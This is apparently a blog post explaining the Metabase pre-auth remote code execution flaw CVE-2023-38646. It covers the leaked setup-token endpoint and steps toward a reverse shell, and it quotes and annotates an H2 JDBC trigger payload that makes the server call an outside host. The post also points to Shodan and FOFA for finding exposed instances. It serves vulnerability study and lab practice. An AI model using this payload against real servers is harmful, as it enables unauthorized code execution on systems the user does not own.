CVE Explained: CVE-2023–38646
Explaining the infamous metabase preauth RCE
Last updated
Explaining the infamous metabase preauth RCE
Last updated
Metabase had a critical flaw on their platform that allowed attackers to execute arbitrary malicious code. Critical security flaw in versions before 0.46.6.1
Remote code execution on the server running the application.
Does not require any form of authentication
The unauthorized access occurred at the server’s privilege level, escalating the severity of the issue.
When reviewing the different flows inside Metabase and capturing the traffic from the installation steps of the product, researches noticed that there was a special token that was used to allow users to complete the setup process. This token was called the setup-token
and most people would assume that the setup flow can only be completed once (the first setup).
This setup token was supposed to be wiped out after the process but didn’t.
So this paved the way for the attackers to access the token for the malicious purposes. This could be possible via two ways:
Viewing the HTML source of the index\\login
page and finding it embedded in a Json
object
Navigating to the endpoint:/api/session/properties
But there’s a catch if the metabase had the setup before this commit was made in the github -> The setup-token won’t be accessible.
Steps:
Retrieve Setup Token: Start by navigating to “http://meta-url.com/api/session/properties" to obtain the setup-token.
Look at the token
Send a POST
request to the server:
Here I used a base64 encoded payload in the POST request , we will delve deeper into what is this payload doing and how is it being executed at the end
PS: change the base64 shell in above request
and we get the shell:
The part that excites the most is how to develop the exploit , what to look for and all… I can’t go step by step here as it will be veruy long but I can help you in the crucial part:
I took inspiration from Securezeron’s exploit here
getting the Setup-Token:
The part where we develop the post request and actually send the payload :
The whole exploit can be found here
We run our exploit:
we get the shell again:
setup docker and reproduce above steps also see the yt video for the guide
HACK-THE-BOX machine: Analytics
This one also provides the other cve details: Source FOFA:
SHODAN:
The exploit itself
zip:/app/metabase.jar!/sample-database.db
: It seems to be specifying a database file located within the Metabase JAR archive.
;MODE=MSSQLServer
: This sets the mode for the database to MSSQLServer. It might be an attempt to exploit a specific behavior related to Microsoft SQL Server.
;TRACE_LEVEL_SYSTEM_OUT=1
: It sets the trace level to output system information. This could be used for debugging purposes.
\\\\\\\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\\\\nnew java.net.URL('<https://example.com/pwn134>').openConnection().getContentLength()\\\\n$$--=x\\\\\\\\;
:
CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES
: This part attempts to create a trigger named IAMPWNED
before any SELECT
operation on the INFORMATION_SCHEMA.TABLES
table.
AS $$//javascript\\\\nnew java.net.URL('<https://example.com/pwn134>').openConnection().getContentLength()\\\\n$$--=x\\\\\\\\;
:
This is the body of the trigger, written in JavaScript-like syntax. It attempts to make an HTTP request to https://example.com/pwn134
and retrieve the content length.
The $$
is used as a delimiter for the JavaScript code.
The =x\\\\\\\\;
at the end might be an attempt to comment out the rest of the SQL query to avoid syntax errors.
If you Like my Post , Let’s connect: